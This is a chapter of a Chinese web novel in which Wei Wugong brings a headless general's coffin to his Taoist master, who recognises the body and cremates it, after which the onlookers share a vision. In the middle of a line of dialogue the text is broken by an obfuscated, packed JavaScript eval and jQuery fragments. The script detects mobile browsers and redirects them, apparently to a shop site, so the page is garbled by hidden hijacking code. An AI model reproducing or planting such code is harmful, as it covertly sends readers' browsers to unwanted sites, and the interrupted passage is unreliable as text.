38.蚕姑坨

作品:《西行

    “小魏……小魏魏……魏都头……”


    “你歇会儿吧,我不行了……”


    李在宥在后头嚎,肩上扛着挑棺材板儿的扁担,很后悔为什么没带几个人一起上山,导致现在要吭哧吭哧负重爬。


    “大哥,大部分重量都在我这儿,”魏无功走在他前面两级台阶,眼看着天都要大亮了他俩还没走到山门:“拢共就这么点儿路,歇两回了!”


    “山门还有多远啊……”李在宥知道自己可能有点儿矫情,因为明显魏无功那头更重,但是他跟在后面,脚步子快慢不由自己定,走起来感觉也格外费劲:“要不……还是我走前面……”


    “到了到了到了,我摇人了!”魏无功烦得要死,终于望见山门,大声喊了一句:“师姐!”管是谁答应,反正先喊着。


    无相门后头探出个脑袋,是近年上山的新道姑,魏无功并不认识。道姑早已得了吩咐,看他俩挑个大棺材,知道是宫里的人,三步并作两步跑过来想接担子。魏无功大拇指往后一指,示意她先接李在宥的。


    李在宥本来有点不好意思让姑娘替自己干活,结果那道姑袖子一撸,露出一截儿筋肉虬结的胳膊,给李在宥看傻了,默默把自己那头递了过去。


    “谢谢……”李在宥悄悄看那个膀子,还在震惊。已经快入冬了,山上虽然还没下雪,但是他俩爬上来的时候,清晨沿路上的草甸子都藏着冰碴,这姑娘居然就穿一件单衣,扛着厚重的漆棺,气都不带喘。


    他跟在后面,看魏无功和那个小道姑简单寒暄两句,就不做声了。李在宥四处打量着,两边影壁上画着太极图,正前面钟鼓楼过了再往上看,能隐约看到后头气势恢宏的灵宫殿牌匾。离大殿越来越近,他估计魏无功是紧张。


    “仙长,这会儿玄清真人在观内吗?”李在宥替他问了一句。


    “师父还在讲晨课,居士们在后殿喝茶,”负责迎来送往的小道姑机灵着,哪里听不出来,于是说:“赵居士跟我说先带魏师兄去后院压压惊。”


    李在宥一听,乐了,说:“我就说赵元贞要保护你的吧。”


    “……”魏无功感觉自己人还没进观,脸已经先丢出去了。


    几个人带着棺材走的小路,不打扰玉皇和三清,直接绕到了后面的蚕姑殿。蚕姑殿边上是道姑们的居所,修了几座农家小院儿,良田桑竹,鸡犬相闻,在晨光中一派和谐。


    小豆饼穿个红夹袄在院子里玩,老远就看到他们,冲着屋檐底下坐着喝茶的二人喊了一句,像个小鞭炮似的跑出来迎接。


    “豆饼——”魏无功看她扑过来,卸了扁担,架着咯吱窝把她举起来:“好像是重了哈,还是蚕姑坨吃得好。”


    “真人特许我吃肉!”小豆饼伸出几根儿手指头比划说:“这儿养的鸡已经被我吃四只了。”


    “啧啧啧,”魏无功感慨他当年就没有这个待遇:“怪不得圆了。”


    他放下豆饼,看远处赵元贞和沈仓也走了过来。此时天已大亮,山顶洒满金光,故人相见,两位长辈满面含笑,看得魏无功鼻头一酸。


    “小魏啊,快过来让我瞧瞧!”赵元贞冲他招手:“打仗受伤了没有?”


    魏无功小跑着过去,摇了摇头。他看着沈仓,有点想问,但是喉咙哽咽发不出声。


    “都好着呢,”沈仓拍拍他肩膀:“我在这里避一阵风头,让你嫂子那边吹拉弹唱走个过场,就能解甲归田了。”


    他冲着山川田野大手一挥:“从此渔樵耕读,乐得自在!”


    话虽如此,沈仓戎马一生,如此隐退,有多少壮志未酬就不知道了。


    “放心吧,我说了云昭阁看着你老哥的,”赵元贞点了一下魏无功的眉心:“我从来不食言。”


    “说起来,得亏你来得快,”沈仓凑到魏无功耳边说:“这儿住的清一水全是姑子,我要羞死了。”


    魏无功听了这话,“噗”地一笑,差点喷出个鼻涕泡。


    那头,李在宥跟一起来的道姑道了声谢,看她去找玄清子了,连忙跑回来,对着魏无功扬起胳膊,问出了他最关心的问题:“蚕姑坨怎么回事!一个守门的,还吃素,练成这样?!”


    “……”魏无功摸摸鼻子,嘿嘿低笑两声:“有个事儿忘了提前跟你说……”


    “在这片儿,我功夫倒数。”


    “……”


    李在宥问:“我现在拜师还来得及吗?”


    “晚了,”沈仓笑着说:“我已经问过了,真人说不收男徒弟。”


    几个人谈笑了一阵儿,能看出来,沈仓虽然有些不甘心,但是离了官场,整个人精神气质好了很多,看脸都觉得年轻好几岁。


    一盏茶的功夫,玄清子诵完经,安排人将棺材抬到三清殿前面的法场,让小道姑过来喊他们一道过去。


    李在宥看着魏无功瞬间绷紧的后背,忍不住往他后心一拍,说:“怎么怕成这样?”


    “嗯……”然而魏无功只是从鼻子里挤出一些声音。


    法场是一块大平地,中轴对称,宝相庄严。背靠三清殿,檐角斜飞,脊兽肃穆,篆体的牌匾看上去相当有年头了。左右两边各一个汉白玉华表,地下是青白色的砖岩铺地,隐隐看得出巨大的八卦阵图案。一口巨大的青铜鼎伫立中央,上面“玄牝之门”四个大字,笔法苍劲,力韵千钧,也难怪得魏无功这种文盲也认识。


    大鼎之中,炭火柴薪已经备好。玄清子手持麈拂,孑立漆棺之后,半闭着眼睛。


    “若然者,其心志,其容寂,其颡頯……”李在宥看着她,鹄面销形却并不羸弱,面色无悲无喜,淡漠安然,似古井、似老月、似秋风,果然是化外之人。


    “真人,搅扰了,”赵元贞打了个招呼。


    玄清子睁开眼睛,冲她微微颔首,视线扫过李在宥等人,落在魏无功身上。


    “师父……”魏无功喊。


    “回来了。”玄清子说。


    魏无功点点头:“回了。”见玄清子对自己仍然喊师父没有异议,魏无功小心松了口气。


    “稳重了不少。”玄清子说。


    “是。”魏无功答,脑袋压得低低的。


    李在宥在心里啧啧啧,魏都头见了师父,就跟霜打的鹌鹑一样。


    “沈居士费心雕琢,”玄清子冲着沈仓打了个躬:“山野小子也学规矩了。”


    “哪里哪里,”沈仓学着她回礼:“是这小子自己争气,军功攒了一箩筐。”


    玄清子微微一笑,问魏无功:“是么?功劳拿去花了还是攒着呢?”


    这一笑给魏无功看得心情澎湃,不仅没吃闭门羹,还得了个好脸色,连忙装乖:“都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199848|195775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    攒着,花得很少。”说完看了一眼李在宥:不提他还没想起来,他还有一个陶罐的账要跟这人算呢!


    “还是没开悟,”玄清子笑着摇摇头:“云来云往,不过缘法。不过……攒着也好罢。”


    “你来开棺,”她冲魏无功招招手,随即使了个眼神给边上候着的道姑,道姑心领神会,拿来几个蒲团子放在众人身边,示意大家坐下。


    李在宥也屁颠颠过去表现,和魏无功两人一左一右打开棺材。


    里面无头的尸体居然和刚放进去几乎没什么两样,不过多了些尸斑。论理过去有半年了,还熬过了三伏天,血肉早该化脓露出白骨了。


    “他也吞了丹么……”李在宥有点好奇,刚要伸手去动尸体身下的草席,突然看见玄清子把手搭在棺材边上了。


    “怎么是张将军……”玄清子问。


    “嗯?”李在宥看着她:“没有脑袋您都能认出来?”


    她和张定钧认识这件事,虽是意料之外,但细想却又在情理之中。但是,他和赵元贞并没有跟玄清子说棺中之人是谁,仅凭躯干就能瞬间把人认出来,恐怕不是一般的认识吧……


    玄清子抬眼看了李在宥一眼,李在宥被她看得莫名其妙有点怵。


    “这位小居士也是七窍玲珑心。”玄清子坐了回去,手掐了个子午诀,轻轻阖上眼睛。李在宥撇撇嘴,感觉不是夸人的话。


    “公主,您该早点告诉我的……”玄清子叹了口气:“我和张将军,是十几年的旧相识……”


    “是我欠考虑了,”赵元贞说:“想着真人不关心尘世间的荣辱悲欢,就没有多言,没想到……”


    “罢了,都是过去的事了,”玄清子打断了她的话:“烧罢。”


    魏无功冲李在宥一仰头,李在宥和他两个人一人捏着席子两角,将尸体轻轻抬了出来,稳稳放进大鼎里。点火之前,魏无功一个蜻蜓点水,俯身进去把用来代替脑袋的玉覆面捞了出来搁在一边的棺材上。


    玄清子感受到他的动作,心念微动,却没有吭声。


    道姑取来火把,点燃了大鼎。火焰熊熊燃烧,转眼尸体就冒出了黑烟。这一幕似曾相识,李在宥和魏无功对望一眼,都不由自主想起了当年阿尔斯兰在大墓里做法的情景。


    玄清子安静打坐,其余人也不好意思说话,只有冬天里的柴火哔哔啵啵燃烧。


    烧着烧着,众人眼前开始出现一些幻象。这一次,本以为在开阔场地,又只有一具尸体,没有准备太多,却没想到幻觉来得比以前接触都更为强烈。


    火焰的温度将视野扭曲,在恍惚流动的空气中,一只飞舞的红蚕似乎从烟雾中腾起,带着无数交错的丝线,绕过山川河流,飞过朝野兴替,最后消逝在一片虚无之中。


    “这……”赵元贞坐直了,小声左右问:“我们看到的景象,都是一样的吗?”


    几个人一核对,居然都大差不差。


    “这真是奇了……”沈仓也忍不住感叹。


    “无功啊……”一直没做声的玄清子突然开口,抓住了他的手腕:“是我错了……”


    她依旧半阖着眼,但此刻眼角看上去似有些哀伤:“是我错怪你了……”


    魏无功看着手腕上骨节分明的手,带着不属于女人的力道,刚平复下去的心又开始突突地跳。